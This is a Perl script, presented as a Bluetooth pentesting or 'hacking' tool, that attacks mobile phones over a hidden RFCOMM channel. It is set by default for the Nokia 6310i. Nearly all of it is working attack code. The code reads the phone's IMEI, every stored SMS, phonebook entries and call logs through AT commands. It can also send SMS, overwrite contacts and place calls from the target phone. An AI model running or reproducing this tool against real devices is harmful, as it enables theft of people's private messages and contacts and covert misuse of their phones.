[PERL] bluetooth hacking tool

#!/usr/bin/perl 
#
# bluetooth hacking tool
#
# written by pierre kroma
#  

use Device::Gsm;
use Getopt::Std;
use Term::ReadLine;
use Device::Modem;
use Term::ANSIColor;


############################ U S A G E ###################################
getopts("bcpsv", \%args);

system ("clear");
print "\nBluetooth Pentester\n";
print "written by pierre kroma (kroma\@syss.de)\n\n";

if (!defined $args{s})  {
print qq~
Usage: perl bluetest.pl -s { -b <bt-addr> -c channel -p -v }
        -b <bt-addr>   = hardware address of the target bluetooth device (example: 00:11:22:33:44:55)
        -c <channel>   = channel
   -p           = ping the remote device
   -s           = start the script
        -v             = be verbose

~; exit;}


################################## D E F I N I T I O N ####################
# tools
my $hcitool="/usr/bin/hcitool";
my $l2ping ="/usr/bin/l2ping";
my $rfcomm ="/usr/bin/rfcomm";
my $lsusb = "/usr/sbin/lsusb";
my $hciconfig = "/usr/sbin/hciconfig";
my $bluefw = "/sbin/bluefw";

# variable
my $bluedev="hci0";
my $bt_addr = 0;
my $channel = $args{c};
my $i = 0;



#################### S U B R O U T I N E S #################################

sub init_adapter
{
   use strict;

   my $busnum = "";
   my $devnum = "";
   # busid 0a12:0001 = linksys USBBT100 usb bluetooth stick
   my $id = `$lsusb 2>/dev/null |grep 0a12:0001`;
   # more generic
   # my $id = `$lsusb 2>/dev/null |grep -i bluetooth`;

   if ( $id =~ /Bus (\d{3}) Device (\d{3}): ID 0a12:0001/ )
   {
      $busnum = $1;
      $devnum = $2;
      system("$bluefw usb $busnum\/$devnum");
      system("$hciconfig $bluedev up");
      sleep(1.5);
   }
}

sub init_modem
{
   $modem = new Device::Modem( port => '/dev/rfcomm0' );
   if( $modem->connect( baudrate => 9600 ) ) {
            # print "connected!\n";
     } else {
            print "sorry, cannot connect to your serial port!\n";
     }
   # turn off the local echo
   $modem->echo(0);
}

sub searching
{
   print color 'bold blue';   
   print "search devices\n";
   print color 'reset';
   my @scan = `$hcitool scan | grep -v "Scanning"`;
   foreach $line (@scan)
   {
      print $i++;
      print $line;
   }
   print "\n";
}

sub selecting
{
   # select a device
   if($args{'b'})
   {   
      $bt_addr = $args{b};   
   }
   else
   {
      $term = new Term::ReadLine 'bluetooth address reader';
      my $prompt = "Enter hw-addr (example: 00:11:22:33:44:55): ";
      my $OUT = $term->OUT || \*STDOUT;
      $bt_addr = $term->readline($prompt);
   }
}


sub ping
{
   # ping the remote device
   if($args{'p'})
   {
       # ping the remote device
       print color 'bold blue';
       print "\nping the remote device $bt_addr\n";
       print color 'reset';
       die "You must be root to use l2ping!\n" if $> != 0;
       system ("$l2ping -c 5 $bt_addr");
   }
}

sub binding
{
   # binding a device
   print color 'bold blue';
   print "\n\nbind a device to $bt_addr \t\t";
   print color 'reset';
   if($args{'c'})
   {
      $channel = $args{c};
   }
   else
   {
      # setting default nokia 6310i hidden channel 17 or 18
      $channel = 17;
   }

   system("$rfcomm release $bluedev 2>/dev/null");
   sleep(2);
   system("$rfcomm bind $bluedev $bt_addr $channel 2>/dev/null");
   sleep(2);

   # Connect to the mobile phone
   # for devfs
   # my $gsm = new Device::Gsm( port => '/dev/bluetooth/rfcomm/0' );

   # for udev
   $gsm = new Device::Gsm( port => '/dev/rfcomm0' );

     if( $gsm->connect() )
   {
      print color 'bold green';
            print "connected!\n";
      print color 'reset';
     }
   else
   {
      print color 'bold red';
            print "sorry, no connection with gsm phone on serial port!\n";
      print color 'reset';
      exit (1);
     }

   # Register to GSM network
   $gsm->register();
}

sub manu
{
   # Extract the manufacturer
   my $man_name = $gsm->manufacturer();
   print "manufacture: $man_name \n";
}

sub model
{
   # model
   my $model = $gsm->model();
   print "model: $model \n";
}

sub sw
{
   # software revision
   $modem->atsend( 'AT+CGMR' . Device::Modem::CR );
     $rev = $modem->answer();
   $rev =~ s/\r//g;
   $rev =~ s/OK//g;
   print "software revision: \n \n $rev";
   sleep(1);
}

sub imei
{
   # Extract the IMEI number
   my $imei = $gsm->imei();
   $imei =~ s/\r//g;
   $imei =~ s/OK//g;
   print "IMEI: (International Mobile Equipment Identifier) = $imei \n\n";
}


sub readbook
{
   print color 'bold blue';
   print "\n\nextract the phonebook\n\n";
   print color 'reset';
   if($args{'v'}) 
   {
   print "storagelocation:";
   print qq~
ME => storage: device
SM => storage: SIM-card
MT => combination of ME + SM (doesn�t work FOR MY 6310i)
BM => storage: CB-news
   ~;
   }
      
   print "\nsupported storage location";
   $modem->atsend( 'AT+CPMS=?' . Device::Modem::CR );
     $types = $modem->answer();
   $types =~ s/\r//g;
        $types =~ s/\n//g;
   $types =~ s/OK//g;
   $types =~ s/\+CPMS//g;
   print "$types \n";
   
   print "\ncurrent phonebooksource";
   $modem->atsend( 'AT+CPBS?' . Device::Modem::CR );
     $source = $modem->answer();
   $source =~ s/\r//g;
        $source =~ s/\n//g;
   $source =~ s/OK//g;
   $source =~ s/\+CPBS//g;
   print $source;
   print "\n\n";

   print "\ncurrent used storage on device";
   $command="AT+CPBS=\"ME\"";
   $modem->atsend( $command . Device::Modem::CR );
   $modem->atsend( 'AT+CPBS?' . Device::Modem::CR );
     $memory = $modem->answer();
   $memory =~ s/\r//g;
        $memory =~ s/\n//g;
   $memory =~ s/OK//g;
   $memory =~ s/\+CPBS//g;
   print $memory;

   print "\ncurrent used storage on SIM";
   $command="AT+CPBS=\"SM\"";
   $modem->atsend( $command . Device::Modem::CR );
   $modem->atsend( 'AT+CPBS?' . Device::Modem::CR );
     $source = $modem->answer();
   $source =~ s/\r//g;
        $source =~ s/\n//g;
   $source =~ s/OK//g;
   $source =~ s/\+CPBS//g;
   print $source;
   print "\n\n";

   my $prompt = "What do you want to readout? (ME oder SM) : ";
   my $OUT = $term->OUT || \*STDOUT;
   $type = $term->readline($prompt);

   $command = "AT+CPBS=\"$type\"";
   $modem->atsend( $command . Device::Modem::CR );
     $asource = $modem->answer();
   $asource =~ s/\r//g;
        $asource =~ s/\n//g;
   $asource =~ s/OK//g;
   print $asource;

   my $prompt = "starting from entry (>=0): \t ";
   my $OUT = $term->OUT || \*STDOUT;
   $start = $term->readline($prompt);
   print "\n";
   my $prompt = "ending to entry:\t\t";
   my $OUT = $term->OUT || \*STDOUT;
   $max = $term->readline($prompt);
   print "\n";

   if ( $start > $max || $start <= '0' )
   {
      print "oops damn f*cking long night? \n";
      print "initial value <= 0? \n";
      print "or initial value  > final value? \n";
      exit (1);
   }
   list_entries ();

   print "\nextract last 5 dialled numbers: \n";
   $command = "AT+CPBS=\"DC\"";
   $modem->atsend( $command . Device::Modem::CR );
     $asource = $modem->answer();
   $asource =~ s/\r//g;
        $asource =~ s/\n//g;
   $asource =~ s/OK//g;
   print $asource;
   $start=1;
   $max=5;
   list_entries ();

   print "\nlast 5 missed calls: \n";
   $command = "AT+CPBS=\"MC\"";
   $modem->atsend( $command . Device::Modem::CR );
     $asource = $modem->answer();
   $asource =~ s/\r//g;
        $asource =~ s/\n//g;
   $asource =~ s/OK//g;
   print $asource;
   $start=1;
   $max=5;
   list_entries ();

   print "\nlast 5 received calls: \n";
   $command = "AT+CPBS=\"RC\"";
   $modem->atsend( $command . Device::Modem::CR );
     $asource = $modem->answer();
   $asource =~ s/\r//g;
        $asource =~ s/\n//g;
   $asource =~ s/OK//g;
   print $asource;
   $start=1;
   $max=5;
   list_entries ();
}

sub list_entries
{
   $i = $start;
   foreach $i ( $start..$max )
   {
      $command = "AT+CPBR=$i";
      $modem->atsend( $command . Device::Modem::CR );   
      $entry = $modem->answer();

      # format
      $entry =~ s/\r//g;
           $entry =~ s/\n//g;
      $entry =~ s/OK//g;

      # parse
      # type = 145 = international format = number starts with +
      # type = 129 = unknown number format = didn't start with +

           ( $pos, $num, $type, $tag ) = $entry =~ m/^\+CPBR: ($i),"(.+?)",(\d+),"(.+)?"\r?$/m;

      $type =~ s/145/international/g;
      $type =~ s/129/unknown/g;
   
      if ( $num == '' )
      {   
         print "entry $i: is empty \n";
      }
      else
      {
         print "entry $i: $num, $type, $tag \n";
         
      }
   }
}

sub sendsms
{
   # Send a text message quickly
   print color 'bold blue';
   print "\n\nwrite a message (SMS)\n";
   print color 'reset';
   print "\n";
   my $prompt = "recipient (example +4912345678): ";
   my $OUT = $term->OUT || \*STDOUT;
   $recipient = $term->readline($prompt);
   print "\n";

   my $prompt = "message: ";
   my $OUT = $term->OUT || \*STDOUT;
   $message = $term->readline($prompt);

   my $status = $gsm->send_sms(
                    recipient => $recipient,
                    content   => $message
            );
   if ( $status )
   {   
      print color 'bold green';
      print "\nmessage transmitted successfully.\n";
      print color 'reset';
   }
   else
   {
      print color 'bold red';
      print "\nERROR: message couldn`t delivered.\n" ;
      print color 'reset';
   }
   sleep(2);
}

sub readsms
{
   # Get list of device::Gsm::Sms message objects
   # see `examples/read_messages.pl' for all details
   
   # get mode status
   $modem->atsend( 'AT+CMGF?' . Device::Modem::CR );
   print color 'bold blue';
   print "\nSMS Menu";
   print color 'reset';
   print "\n \ncurrent sms status (0=PDU, 1=text)";
     my $status = $modem->answer();
   $status =~ s/\r//g;
        $status =~ s/\n//g;
   $status =~ s/OK//g;
   $status =~ s/\+CMGF//g;
   print $status;
   sleep(2);
   
   # switch to text mode (does not work with 6310i)
   # print "switch to text mode \n";
   # $modem->atsend( 'AT+CMGF=1' . Device::Modem::CR );
     # print $modem->answer();

   print "\n\nextract all sms \n";   
   $modem->atsend( 'AT+CMGL=4' . Device::Modem::CR );
     my $extract = $modem->answer();
   $extract =~ s/OK//g;
   $extract =~ s/\+CMGL://g;
   sleep(2);
   print $extract;
   
}

sub call
{
   # read number   
   print color 'bold blue';
   print "\n\nmaking a call\n";
   print color 'reset';
   print "\n";
   my $prompt = "Which number should be called? (example: 004970714078560): ";
   my $OUT = $term->OUT || \*STDOUT;
   $number = $term->readline($prompt);
   print "\ncalling $number \n";   
   my $max = 20;
   if (fork)
   {
      $modem->dial( $number );
   }
   else
   {
      print "waiting $max seconds before ring off: ";
      $i = 0;
      foreach $i ( 1..$max )
      {   
         print "$i ";
         sleep(1);
      }
      print "\n";
      $modem->hangup();
   }
}

sub writebook
{
   print color 'bold blue';
   print "\ncreate a phonebook entry";
   print color 'reset';
   print "\n";
   my $prompt = "storage space number (ATTENTION: you may overwrite an existing entry:): ";
   my $OUT = $term->OUT || \*STDOUT;
   $nr = $term->readline($prompt);
   print "\n";
   my $prompt = "phone-number (format +49123456789): ";
   my $OUT = $term->OUT || \*STDOUT;
   $tel = $term->readline($prompt);
   print "\n";
   my $prompt = "name: ";
   my $OUT = $term->OUT || \*STDOUT;
   $name = $term->readline($prompt);
   print "\n";
   my $prompt = "storage location (ME=device, SM=SIM): ";
   my $OUT = $term->OUT || \*STDOUT;
   $place = $term->readline($prompt);

   $command="AT+CPBS=\"$place\"";
   $modem->atsend( $command . Device::Modem::CR );

   $command="AT+CPBW=$nr,\"$tel\",145,\"$name\"";
   $modem->atsend( $command . Device::Modem::CR );
     $source = $modem->answer();
   $source =~ s/\r//g;
        $source =~ s/\n//g;
   $source =~ s/OK//g;
   print $source;

   print "\n\nchecking......";
   $start = $nr - 5;
   $max = 5;
   if ( $start <= 0 )
   {
      $start = $nr;
   }
   $max = $nr + 5;
   print "\n extract your phonebook from storage space number $start to $max \n";
   list_entries ();
   print "\n";
}

sub key
{
   my $message = "- press any key -";
   my $OUT = $term->OUT || \*STDOUT;
   $term->readline($message);
}

sub final
{
   #system ('cat ./logo.txt');
   print color 'bold red';
   print "\t\t\t\twritten by pierre kroma (kroma\@syss.de)\n\n";
   print color 'reset';
   $modem->disconnect();
   print "\n";
}
   

############################# M A I N ###############################

init_adapter ();
searching ();
selecting ();
ping ();
binding ();
init_modem ();
print color 'bold blue';
print "\nextract device information\n";
print color 'reset';
manu ();
model ();
sw ();
imei ();
key();
readsms ();
sendsms ();
key ();
readbook ();
writebook ();
key ();
call ();
key ();
final ();